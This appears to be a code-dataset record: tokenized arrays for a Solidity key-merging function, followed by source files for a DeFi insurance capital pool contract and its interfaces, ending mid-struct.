-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x3F2b72B9D52651B4dcdB99d1AB1736aC889e6e38/sources/contracts/mixins/MixinKeys.sol | * Merge existing keys @param _tokenIdFrom the id of the token to substract time from @param _tokenIdTo the id of the destination token to add time @param _amount the amount of time to transfer (in seconds)/ checks make sure there is enough time remaining | function mergeKeys(
uint _tokenIdFrom,
uint _tokenIdTo,
uint _amount
) public {
_isKey(_tokenIdFrom);
_isValidKey(_tokenIdFrom);
_onlyKeyManagerOrApproved(_tokenIdFrom);
_isKey(_tokenIdTo);
if(
_amount > keyExpirationTimestampFor(_tokenIdFrom) - block.timestamp
) {
revert NOT_ENOUGH_TIME();
}
}
| 9,486,826 | [
1,
6786,
2062,
1311,
225,
389,
2316,
548,
1265,
326,
612,
434,
326,
1147,
358,
2373,
621,
813,
628,
225,
389,
2316,
28803,
326,
612,
434,
326,
2929,
1147,
225,
358,
527,
813,
225,
389,
8949,
326,
3844,
434,
813,
358,
7412,
261,
267,
3974,
13176,
4271,
1221,
3071,
1915,
353,
7304,
813,
4463,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
2691,
2396,
12,
203,
565,
2254,
389,
2316,
548,
1265,
16,
7010,
565,
2254,
389,
2316,
28803,
16,
7010,
565,
2254,
389,
8949,
203,
565,
262,
1071,
288,
203,
203,
565,
389,
291,
653,
24899,
2316,
548,
1265,
1769,
203,
565,
389,
26810,
653,
24899,
2316,
548,
1265,
1769,
203,
565,
389,
3700,
653,
1318,
1162,
31639,
24899,
2316,
548,
1265,
1769,
203,
565,
389,
291,
653,
24899,
2316,
28803,
1769,
203,
377,
203,
565,
309,
12,
203,
1377,
389,
8949,
405,
498,
12028,
4921,
1290,
24899,
2316,
548,
1265,
13,
300,
1203,
18,
5508,
203,
565,
262,
288,
203,
1377,
15226,
4269,
67,
1157,
26556,
16715,
67,
4684,
5621,
203,
565,
289,
203,
203,
203,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./libraries/DecimalsConverter.sol";
import "./interfaces/ICapitalPool.sol";
import "./interfaces/IClaimingRegistry.sol";
import "./interfaces/IContractsRegistry.sol";
import "./interfaces/ILeveragePortfolio.sol";
import "./interfaces/ILiquidityRegistry.sol";
import "./interfaces/IPolicyBook.sol";
import "./interfaces/IPolicyBookFacade.sol";
import "./interfaces/IPolicyBookRegistry.sol";
import "./interfaces/IYieldGenerator.sol";
import "./interfaces/ILeveragePortfolioView.sol";
import "./abstract/AbstractDependant.sol";
import "./Globals.sol";
contract CapitalPool is ICapitalPool, OwnableUpgradeable, AbstractDependant {
using SafeERC20 for ERC20;
using SafeMath for uint256;
IClaimingRegistry public claimingRegistry;
IPolicyBookRegistry public policyBookRegistry;
IYieldGenerator public yieldGenerator;
ILeveragePortfolio public reinsurancePool;
ILiquidityRegistry public liquidityRegistry;
ILeveragePortfolioView public leveragePortfolioView;
ERC20 public stblToken;
// reisnurance pool vStable balance updated by(premium, interest from defi)
uint256 public reinsurancePoolBalance;
// user leverage pool vStable balance updated by(premium, addliq, withdraw liq)
mapping(address => uint256) public leveragePoolBalance;
// policy books vStable balances updated by(premium, addliq, withdraw liq)
mapping(address => uint256) public regularCoverageBalance;
// all hStable capital balance , updated by (all pool transfer + deposit to dfi + liq cushion)
uint256 public hardUsdtAccumulatedBalance;
// all vStable capital balance , updated by (all pool transfer + withdraw from liq cushion)
uint256 public override virtualUsdtAccumulatedBalance;
// pool balances tracking
uint256 public liquidityCushionBalance;
address public maintainer;
uint256 public stblDecimals;
event PoolBalancesUpdated(
uint256 hardUsdtAccumulatedBalance,
uint256 virtualUsdtAccumulatedBalance,
uint256 liquidityCushionBalance,
uint256 reinsurancePoolBalance
);
event LiquidityCushionRebalanced(
uint256 liquidityNeede,
uint256 liquidityWithdraw,
uint256 liquidityDeposit
);
modifier broadcastBalancing() {
_;
emit PoolBalancesUpdated(
hardUsdtAccumulatedBalance,
virtualUsdtAccumulatedBalance,
liquidityCushionBalance,
reinsurancePoolBalance
);
}
modifier onlyPolicyBook() {
require(policyBookRegistry.isPolicyBook(msg.sender), "CAPL: Not a PolicyBook");
_;
}
modifier onlyReinsurancePool() {
require(
address(reinsurancePool) == _msgSender(),
"RP: Caller is not a reinsurance pool contract"
);
_;
}
modifier onlyMaintainer() {
require(_msgSender() == maintainer, "CP: not maintainer");
_;
}
function __CapitalPool_init() external initializer {
__Ownable_init();
maintainer = _msgSender();
}
function setDependencies(IContractsRegistry _contractsRegistry)
external
override
onlyInjectorOrZero
{
claimingRegistry = IClaimingRegistry(_contractsRegistry.getClaimingRegistryContract());
policyBookRegistry = IPolicyBookRegistry(
_contractsRegistry.getPolicyBookRegistryContract()
);
stblToken = ERC20(_contractsRegistry.getUSDTContract());
yieldGenerator = IYieldGenerator(_contractsRegistry.getYieldGeneratorContract());
reinsurancePool = ILeveragePortfolio(_contractsRegistry.getReinsurancePoolContract());
liquidityRegistry = ILiquidityRegistry(_contractsRegistry.getLiquidityRegistryContract());
leveragePortfolioView = ILeveragePortfolioView(
_contractsRegistry.getLeveragePortfolioViewContract()
);
stblDecimals = stblToken.decimals();
}
/// @notice distributes the policybook premiums into pools (CP, ULP , RP)
/// @dev distributes the balances acording to the established percentages
/// @param _stblAmount amount hardSTBL ingressed into the system
/// @param _epochsNumber uint256 the number of epochs which the policy holder will pay a premium for
/// @param _protocolFee uint256 the amount of protocol fee earned by premium
function addPolicyHoldersHardSTBL(
uint256 _stblAmount,
uint256 _epochsNumber,
uint256 _protocolFee
) external override onlyPolicyBook broadcastBalancing returns (uint256) {
PremiumFactors memory factors;
factors.vStblOfCP = regularCoverageBalance[_msgSender()];
factors.premiumPrice = _stblAmount.sub(_protocolFee);
IPolicyBookFacade policyBookFacade =
IPolicyBookFacade(IPolicyBook(_msgSender()).policyBookFacade());
/// TODO for v2 it is one user leverage pool , so need to figure it out after v2
(
factors.vStblDeployedByRP,
,
factors.lStblDeployedByLP,
factors.userLeveragePoolAddress
) = policyBookFacade.getPoolsData();
uint256 reinsurancePoolPremium;
uint256 userLeveragePoolPremium;
uint256 coveragePoolPremium;
if (factors.vStblDeployedByRP == 0 && factors.lStblDeployedByLP == 0) {
coveragePoolPremium = factors.premiumPrice;
} else {
factors.stblAmount = _stblAmount;
factors.premiumDurationInDays = _epochsNumber.mul(EPOCH_DAYS_AMOUNT);
(
reinsurancePoolPremium,
userLeveragePoolPremium,
coveragePoolPremium
) = _calcPremiumForAllPools(factors);
}
uint256 reinsurancePoolTotalPremium = reinsurancePoolPremium.add(_protocolFee);
reinsurancePoolBalance += reinsurancePoolTotalPremium;
reinsurancePool.addPolicyPremium(
_epochsNumber,
DecimalsConverter.convertTo18(reinsurancePoolTotalPremium, stblDecimals)
);
if (userLeveragePoolPremium > 0) {
leveragePoolBalance[factors.userLeveragePoolAddress] += userLeveragePoolPremium;
ILeveragePortfolio(factors.userLeveragePoolAddress).addPolicyPremium(
_epochsNumber,
DecimalsConverter.convertTo18(userLeveragePoolPremium, stblDecimals)
);
}
regularCoverageBalance[_msgSender()] += coveragePoolPremium;
hardUsdtAccumulatedBalance += _stblAmount;
virtualUsdtAccumulatedBalance += _stblAmount;
return DecimalsConverter.convertTo18(coveragePoolPremium, stblDecimals);
}
function _calcPremiumForAllPools(PremiumFactors memory factors)
internal
view
returns (
uint256 reinsurancePoolPremium,
uint256 userLeveragePoolPremium,
uint256 coveragePoolPremium
)
{
uint256 _totalCoverTokens =
DecimalsConverter.convertFrom18(
(IPolicyBook(_msgSender())).totalCoverTokens(),
stblDecimals
);
uint256 poolUtilizationRation =
_totalCoverTokens.mul(PERCENTAGE_100).div(factors.vStblOfCP);
if (factors.lStblDeployedByLP > 0) {
factors.participatedlStblDeployedByLP = factors
.lStblDeployedByLP
.mul(
leveragePortfolioView.calcM(poolUtilizationRation, factors.userLeveragePoolAddress)
)
.div(PERCENTAGE_100);
}
uint256 totalLiqforPremium =
factors.vStblOfCP.add(factors.vStblDeployedByRP).add(
factors.participatedlStblDeployedByLP
);
uint256 premiumPerDay =
factors.premiumPrice.mul(PRECISION).div(
factors.premiumDurationInDays.mul(stblDecimals)
);
factors.premiumPerDeployment = (premiumPerDay.mul(stblDecimals)).div(totalLiqforPremium);
reinsurancePoolPremium = _calcReinsurancePoolPremium(factors);
if (factors.lStblDeployedByLP > 0) {
userLeveragePoolPremium = _calcUserLeveragePoolPremium(factors);
}
coveragePoolPremium = _calcCoveragePoolPremium(factors);
}
/// @notice distributes the hardSTBL from the coverage providers
/// @dev emits PoolBalancedUpdated event
/// @param _stblAmount amount hardSTBL ingressed into the system
function addCoverageProvidersHardSTBL(uint256 _stblAmount)
external
override
onlyPolicyBook
broadcastBalancing
{
regularCoverageBalance[_msgSender()] += _stblAmount;
hardUsdtAccumulatedBalance += _stblAmount;
virtualUsdtAccumulatedBalance += _stblAmount;
}
//// @notice distributes the hardSTBL from the leverage providers
/// @dev emits PoolBalancedUpdated event
/// @param _stblAmount amount hardSTBL ingressed into the system
function addLeverageProvidersHardSTBL(uint256 _stblAmount)
external
override
onlyPolicyBook
broadcastBalancing
{
leveragePoolBalance[_msgSender()] += _stblAmount;
hardUsdtAccumulatedBalance += _stblAmount;
virtualUsdtAccumulatedBalance += _stblAmount;
}
/// @notice distributes the hardSTBL from the reinsurance pool
/// @dev emits PoolBalancedUpdated event
/// @param _stblAmount amount hardSTBL ingressed into the system
function addReinsurancePoolHardSTBL(uint256 _stblAmount)
external
override
onlyReinsurancePool
broadcastBalancing
{
reinsurancePoolBalance += _stblAmount;
hardUsdtAccumulatedBalance += _stblAmount;
virtualUsdtAccumulatedBalance += _stblAmount;
}
/// TODO if user not withdraw the amount after request withdraw , should the amount returned back to capital pool
/// @notice rebalances pools acording to v2 specification and dao enforced policies
/// @dev emits PoolBalancesUpdated
function rebalanceLiquidityCushion() public override broadcastBalancing onlyMaintainer {
uint256 _pendingClaimAmount = claimingRegistry.getAllPendingClaimsAmount();
uint256 _pendingWithdrawlAmount =
liquidityRegistry.getAllPendingWithdrawalRequestsAmount();
uint256 _requiredLiquidity = _pendingWithdrawlAmount.add(_pendingClaimAmount);
_requiredLiquidity = DecimalsConverter.convertFrom18(_requiredLiquidity, stblDecimals);
(uint256 _deposit, uint256 _withdraw) = getDepositAndWithdraw(_requiredLiquidity);
liquidityCushionBalance = _requiredLiquidity;
hardUsdtAccumulatedBalance = 0;
uint256 _actualAmount;
if (_deposit > 0) {
stblToken.safeApprove(address(yieldGenerator), 0);
stblToken.safeApprove(address(yieldGenerator), _deposit);
_actualAmount = yieldGenerator.deposit(_deposit);
if (_actualAmount < _deposit) {
hardUsdtAccumulatedBalance += _deposit.sub(_actualAmount);
}
} else if (_withdraw > 0) {
_actualAmount = yieldGenerator.withdraw(_withdraw);
if (_actualAmount < _withdraw) {
liquidityCushionBalance -= _withdraw.sub(_actualAmount);
}
}
emit LiquidityCushionRebalanced(_requiredLiquidity, _withdraw, _deposit);
}
/// @notice Fullfils policybook claims by transfering the balance to claimer
/// @param _claimer, address of the claimer recieving the withdraw
/// @param _stblAmount uint256 amount to be withdrawn
function fundClaim(address _claimer, uint256 _stblAmount) external override onlyPolicyBook {
_withdrawFromLiquidityCushion(_claimer, _stblAmount);
regularCoverageBalance[_msgSender()] -= _stblAmount;
}
/// @notice Withdraws liquidity from a specific policbybook to the user
/// @param _sender, address of the user beneficiary of the withdraw
/// @param _stblAmount uint256 amount to be withdrawn
function withdrawLiquidity(
address _sender,
uint256 _stblAmount,
bool _isLeveragePool
) external override onlyPolicyBook broadcastBalancing {
_withdrawFromLiquidityCushion(_sender, _stblAmount);
if (_isLeveragePool) {
leveragePoolBalance[_msgSender()] -= _stblAmount;
} else {
regularCoverageBalance[_msgSender()] -= _stblAmount;
}
}
function setMaintainer(address _newMainteiner) public onlyOwner {
require(_newMainteiner != address(0), "CP: invalid maintainer address");
maintainer = _newMainteiner;
}
function _withdrawFromLiquidityCushion(address _sender, uint256 _stblAmount)
internal
broadcastBalancing
{
require(liquidityCushionBalance >= _stblAmount, "CP: insuficient liquidity");
liquidityCushionBalance = liquidityCushionBalance.sub(_stblAmount);
virtualUsdtAccumulatedBalance -= _stblAmount;
stblToken.safeTransfer(_sender, _stblAmount);
}
function _calcReinsurancePoolPremium(PremiumFactors memory factors)
internal
pure
returns (uint256)
{
return (
factors
.premiumPerDeployment
.mul(factors.vStblDeployedByRP)
.mul(factors.premiumDurationInDays)
.div(PRECISION)
);
}
function _calcUserLeveragePoolPremium(PremiumFactors memory factors)
internal
pure
returns (uint256)
{
return
factors
.premiumPerDeployment
.mul(factors.participatedlStblDeployedByLP)
.mul(factors.premiumDurationInDays)
.div(PRECISION);
}
function _calcCoveragePoolPremium(PremiumFactors memory factors)
internal
pure
returns (uint256)
{
return
factors
.premiumPerDeployment
.mul(factors.vStblOfCP)
.mul(factors.premiumDurationInDays)
.div(PRECISION);
}
function getDepositAndWithdraw(uint256 _requiredLiquidity)
internal
view
returns (uint256 deposit, uint256 withdraw)
{
uint256 _availableBalance = hardUsdtAccumulatedBalance.add(liquidityCushionBalance);
if (_requiredLiquidity > _availableBalance) {
withdraw = _requiredLiquidity.sub(_availableBalance);
} else if (_requiredLiquidity < _availableBalance) {
deposit = _availableBalance.sub(_requiredLiquidity);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
uint256 constant SECONDS_IN_THE_YEAR = 365 * 24 * 60 * 60; // 365 days * 24 hours * 60 minutes * 60 seconds
uint256 constant DAYS_IN_THE_YEAR = 365;
uint256 constant MAX_INT = type(uint256).max;
uint256 constant DECIMALS18 = 10**18;
uint256 constant PRECISION = 10**25;
uint256 constant PERCENTAGE_100 = 100 * PRECISION;
uint256 constant BLOCKS_PER_DAY = 6450;
uint256 constant BLOCKS_PER_YEAR = BLOCKS_PER_DAY * 365;
uint256 constant APY_TOKENS = DECIMALS18;
uint256 constant PROTOCOL_PERCENTAGE = 20 * PRECISION;
uint256 constant DEFAULT_REBALANCING_THRESHOLD = 10**23;
uint256 constant EPOCH_DAYS_AMOUNT = 7;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "../interfaces/IContractsRegistry.sol";
abstract contract AbstractDependant {
/// @dev keccak256(AbstractDependant.setInjector(address)) - 1
bytes32 private constant _INJECTOR_SLOT =
0xd6b8f2e074594ceb05d47c27386969754b6ad0c15e5eb8f691399cd0be980e76;
modifier onlyInjectorOrZero() {
address _injector = injector();
require(_injector == address(0) || _injector == msg.sender, "Dependant: Not an injector");
_;
}
function setInjector(address _injector) external onlyInjectorOrZero {
bytes32 slot = _INJECTOR_SLOT;
assembly {
sstore(slot, _injector)
}
}
/// @dev has to apply onlyInjectorOrZero() modifier
function setDependencies(IContractsRegistry) external virtual;
function injector() public view returns (address _injector) {
bytes32 slot = _INJECTOR_SLOT;
assembly {
_injector := sload(slot)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface ICapitalPool {
struct PremiumFactors {
uint256 stblAmount;
uint256 premiumDurationInDays;
uint256 premiumPrice;
uint256 lStblDeployedByLP;
uint256 vStblDeployedByRP;
uint256 vStblOfCP;
uint256 premiumPerDeployment;
uint256 participatedlStblDeployedByLP;
address userLeveragePoolAddress;
}
function virtualUsdtAccumulatedBalance() external view returns (uint256);
/// @notice distributes the policybook premiums into pools (CP, ULP , RP)
/// @dev distributes the balances acording to the established percentages
/// @param _stblAmount amount hardSTBL ingressed into the system
/// @param _epochsNumber uint256 the number of epochs which the policy holder will pay a premium for
/// @param _protocolFee uint256 the amount of protocol fee earned by premium
function addPolicyHoldersHardSTBL(
uint256 _stblAmount,
uint256 _epochsNumber,
uint256 _protocolFee
) external returns (uint256);
/// @notice distributes the hardSTBL from the coverage providers
/// @dev emits PoolBalancedUpdated event
/// @param _stblAmount amount hardSTBL ingressed into the system
function addCoverageProvidersHardSTBL(uint256 _stblAmount) external;
/// @notice distributes the hardSTBL from the leverage providers
/// @dev emits PoolBalancedUpdated event
/// @param _stblAmount amount hardSTBL ingressed into the system
function addLeverageProvidersHardSTBL(uint256 _stblAmount) external;
/// @notice distributes the hardSTBL from the reinsurance pool
/// @dev emits PoolBalancedUpdated event
/// @param _stblAmount amount hardSTBL ingressed into the system
function addReinsurancePoolHardSTBL(uint256 _stblAmount) external;
/// @notice rebalances pools acording to v2 specification and dao enforced policies
/// @dev emits PoolBalancesUpdated
function rebalanceLiquidityCushion() external;
/// @notice Fullfils policybook claims by transfering the balance to claimer
/// @param _claimer, address of the claimer recieving the withdraw
/// @param _stblAmount uint256 amount to be withdrawn
function fundClaim(address _claimer, uint256 _stblAmount) external;
/// @notice Withdraws liquidity from a specific policbybook to the user
/// @param _sender, address of the user beneficiary of the withdraw
/// @param _stblAmount uint256 amount to be withdrawn
/// @param _isLeveragePool bool wether the pool is ULP or CP(policybook)
function withdrawLiquidity(
address _sender,
uint256 _stblAmount,
bool _isLeveragePool
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
interface IClaimingRegistry {
enum ClaimStatus {
CAN_CLAIM,
UNCLAIMABLE,
PENDING,
AWAITING_CALCULATION,
REJECTED_CAN_APPEAL,
REJECTED,
ACCEPTED
}
struct ClaimInfo {
address claimer;
address policyBookAddress;
string evidenceURI;
uint256 dateSubmitted;
uint256 dateEnded;
bool appeal;
ClaimStatus status;
uint256 claimAmount;
}
/// @notice returns anonymous voting duration
function anonymousVotingDuration(uint256 index) external view returns (uint256);
/// @notice returns the whole voting duration
function votingDuration(uint256 index) external view returns (uint256);
/// @notice returns how many time should pass before anyone could calculate a claim result
function anyoneCanCalculateClaimResultAfter(uint256 index) external view returns (uint256);
/// @notice returns true if a user can buy new policy of specified PolicyBook
function canBuyNewPolicy(address buyer, address policyBookAddress)
external
view
returns (bool);
/// @notice submits new PolicyBook claim for the user
function submitClaim(
address user,
address policyBookAddress,
string calldata evidenceURI,
uint256 cover,
bool appeal
) external returns (uint256);
/// @notice returns true if the claim with this index exists
function claimExists(uint256 index) external view returns (bool);
/// @notice returns claim submition time
function claimSubmittedTime(uint256 index) external view returns (uint256);
/// @notice returns claim end time or zero in case it is pending
function claimEndTime(uint256 index) external view returns (uint256);
/// @notice returns true if the claim is anonymously votable
function isClaimAnonymouslyVotable(uint256 index) external view returns (bool);
/// @notice returns true if the claim is exposably votable
function isClaimExposablyVotable(uint256 index) external view returns (bool);
/// @notice returns true if claim is anonymously votable or exposably votable
function isClaimVotable(uint256 index) external view returns (bool);
/// @notice returns true if a claim can be calculated by anyone
function canClaimBeCalculatedByAnyone(uint256 index) external view returns (bool);
/// @notice returns true if this claim is pending or awaiting
function isClaimPending(uint256 index) external view returns (bool);
/// @notice returns how many claims the holder has
function countPolicyClaimerClaims(address user) external view returns (uint256);
/// @notice returns how many pending claims are there
function countPendingClaims() external view returns (uint256);
/// @notice returns how many claims are there
function countClaims() external view returns (uint256);
/// @notice returns a claim index of it's claimer and an ordinal number
function claimOfOwnerIndexAt(address claimer, uint256 orderIndex)
external
view
returns (uint256);
/// @notice returns pending claim index by its ordinal index
function pendingClaimIndexAt(uint256 orderIndex) external view returns (uint256);
/// @notice returns claim index by its ordinal index
function claimIndexAt(uint256 orderIndex) external view returns (uint256);
/// @notice returns current active claim index by policybook and claimer
function claimIndex(address claimer, address policyBookAddress)
external
view
returns (uint256);
/// @notice returns true if the claim is appealed
function isClaimAppeal(uint256 index) external view returns (bool);
/// @notice returns current status of a claim
function policyStatus(address claimer, address policyBookAddress)
external
view
returns (ClaimStatus);
/// @notice returns current status of a claim
function claimStatus(uint256 index) external view returns (ClaimStatus);
/// @notice returns the claim owner (claimer)
function claimOwner(uint256 index) external view returns (address);
/// @notice returns the claim PolicyBook
function claimPolicyBook(uint256 index) external view returns (address);
/// @notice returns claim info by its index
function claimInfo(uint256 index) external view returns (ClaimInfo memory _claimInfo);
function getAllPendingClaimsAmount() external view returns (uint256 _totalClaimsAmount);
function getClaimableAmounts(uint256[] memory _claimIndexes) external view returns (uint256);
/// @notice marks the user's claim as Accepted
function acceptClaim(uint256 index) external;
/// @notice marks the user's claim as Rejected
function rejectClaim(uint256 index) external;
/// @notice Update Image Uri in case it contains material that is ilegal
/// or offensive.
/// @dev Only the owner of the PolicyBookAdmin can erase/update evidenceUri.
/// @param _claimIndex Claim Index that is going to be updated
/// @param _newEvidenceURI New evidence uri. It can be blank.
function updateImageUriOfClaim(uint256 _claimIndex, string calldata _newEvidenceURI) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IContractsRegistry {
function getUniswapRouterContract() external view returns (address);
function getUniswapBMIToETHPairContract() external view returns (address);
function getUniswapBMIToUSDTPairContract() external view returns (address);
function getSushiswapRouterContract() external view returns (address);
function getSushiswapBMIToETHPairContract() external view returns (address);
function getSushiswapBMIToUSDTPairContract() external view returns (address);
function getSushiSwapMasterChefV2Contract() external view returns (address);
function getWETHContract() external view returns (address);
function getUSDTContract() external view returns (address);
function getBMIContract() external view returns (address);
function getPriceFeedContract() external view returns (address);
function getPolicyBookRegistryContract() external view returns (address);
function getPolicyBookFabricContract() external view returns (address);
function getBMICoverStakingContract() external view returns (address);
function getBMICoverStakingViewContract() external view returns (address);
function getLegacyRewardsGeneratorContract() external view returns (address);
function getRewardsGeneratorContract() external view returns (address);
function getBMIUtilityNFTContract() external view returns (address);
function getNFTStakingContract() external view returns (address);
function getLiquidityMiningContract() external view returns (address);
function getClaimingRegistryContract() external view returns (address);
function getPolicyRegistryContract() external view returns (address);
function getLiquidityRegistryContract() external view returns (address);
function getClaimVotingContract() external view returns (address);
function getReinsurancePoolContract() external view returns (address);
function getLeveragePortfolioViewContract() external view returns (address);
function getCapitalPoolContract() external view returns (address);
function getPolicyBookAdminContract() external view returns (address);
function getPolicyQuoteContract() external view returns (address);
function getLegacyBMIStakingContract() external view returns (address);
function getBMIStakingContract() external view returns (address);
function getSTKBMIContract() external view returns (address);
function getVBMIContract() external view returns (address);
function getLegacyLiquidityMiningStakingContract() external view returns (address);
function getLiquidityMiningStakingETHContract() external view returns (address);
function getLiquidityMiningStakingUSDTContract() external view returns (address);
function getReputationSystemContract() external view returns (address);
function getAaveProtocolContract() external view returns (address);
function getAaveLendPoolAddressProvdierContract() external view returns (address);
function getAaveATokenContract() external view returns (address);
function getCompoundProtocolContract() external view returns (address);
function getCompoundCTokenContract() external view returns (address);
function getCompoundComptrollerContract() external view returns (address);
function getYearnProtocolContract() external view returns (address);
function getYearnVaultContract() external view returns (address);
function getYieldGeneratorContract() external view returns (address);
function getShieldMiningContract() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface ILeveragePortfolio {
enum LeveragePortfolio {USERLEVERAGEPOOL, REINSURANCEPOOL}
struct LevFundsFactors {
uint256 netMPL;
uint256 netMPLn;
address policyBookAddr;
// uint256 poolTotalLiquidity;
// uint256 poolUR;
// uint256 minUR;
}
function targetUR() external view returns (uint256);
function d_ProtocolConstant() external view returns (uint256);
function a_ProtocolConstant() external view returns (uint256);
function max_ProtocolConstant() external view returns (uint256);
/// @notice deploy lStable from user leverage pool or reinsurance pool using 2 formulas: access by policybook.
/// @param leveragePoolType LeveragePortfolio is determine the pool which call the function
function deployLeverageStableToCoveragePools(LeveragePortfolio leveragePoolType)
external
returns (uint256);
/// @notice deploy the vStable from RP in v2 and for next versions it will be from RP and LP : access by policybook.
function deployVirtualStableToCoveragePools() external returns (uint256);
/// @notice set the threshold % for re-evaluation of the lStable provided across all Coverage pools : access by owner
/// @param threshold uint256 is the reevaluatation threshold
function setRebalancingThreshold(uint256 threshold) external;
/// @notice set the protocol constant : access by owner
/// @param _targetUR uint256 target utitlization ration
/// @param _d_ProtocolConstant uint256 D protocol constant
/// @param _a_ProtocolConstant uint256 A protocol constant
/// @param _max_ProtocolConstant uint256 the max % included
function setProtocolConstant(
uint256 _targetUR,
uint256 _d_ProtocolConstant,
uint256 _a_ProtocolConstant,
uint256 _max_ProtocolConstant
) external;
/// @notice calc M factor by formual M = min( abs((1/ (Tur-UR))*d) /a, max)
/// @param poolUR uint256 utitilization ratio for a coverage pool
/// @return uint256 M facotr
//function calcM(uint256 poolUR) external returns (uint256);
/// @return uint256 the amount of vStable stored in the pool
function totalLiquidity() external view returns (uint256);
/// @notice add the portion of 80% of premium to user leverage pool where the leverage provide lstable : access policybook
/// add the 20% of premium + portion of 80% of premium where reisnurance pool participate in coverage pools (vStable) : access policybook
/// @param epochsNumber uint256 the number of epochs which the policy holder will pay a premium for
/// @param premiumAmount uint256 the premium amount which is a portion of 80% of the premium
function addPolicyPremium(uint256 epochsNumber, uint256 premiumAmount) external;
/// @notice Used to get a list of coverage pools which get leveraged , use with count()
/// @return _coveragePools a list containing policybook addresses
function listleveragedCoveragePools(uint256 offset, uint256 limit)
external
view
returns (address[] memory _coveragePools);
/// @notice get count of coverage pools which get leveraged
function countleveragedCoveragePools() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./ILeveragePortfolio.sol";
import "./IUserLeveragePool.sol";
interface ILeveragePortfolioView {
function calcM(uint256 poolUR, address leveragePoolAddress) external view returns (uint256);
function calcMaxLevFunds(ILeveragePortfolio.LevFundsFactors memory factors)
external
view
returns (uint256);
function calcBMIMultiplier(IUserLeveragePool.BMIMultiplierFactors memory factors)
external
view
returns (uint256);
function getPolicyBookFacade(address _policybookAddress)
external
view
returns (IPolicyBookFacade _coveragePool);
function calcNetMPLn(
ILeveragePortfolio.LeveragePortfolio leveragePoolType,
address _policyBookFacade
) external view returns (uint256 _netMPLn);
function calcMaxVirtualFunds(address policyBookAddress)
external
returns (uint256 _amountToDeploy, uint256 _maxAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface ILiquidityRegistry {
struct LiquidityInfo {
address policyBookAddr;
uint256 lockedAmount;
uint256 availableAmount;
uint256 bmiXRatio; // multiply availableAmount by this num to get stable coin
}
struct WithdrawalRequestInfo {
address policyBookAddr;
uint256 requestAmount;
uint256 requestSTBLAmount;
uint256 availableLiquidity;
uint256 readyToWithdrawDate;
uint256 endWithdrawDate;
}
struct WithdrawalSetInfo {
address policyBookAddr;
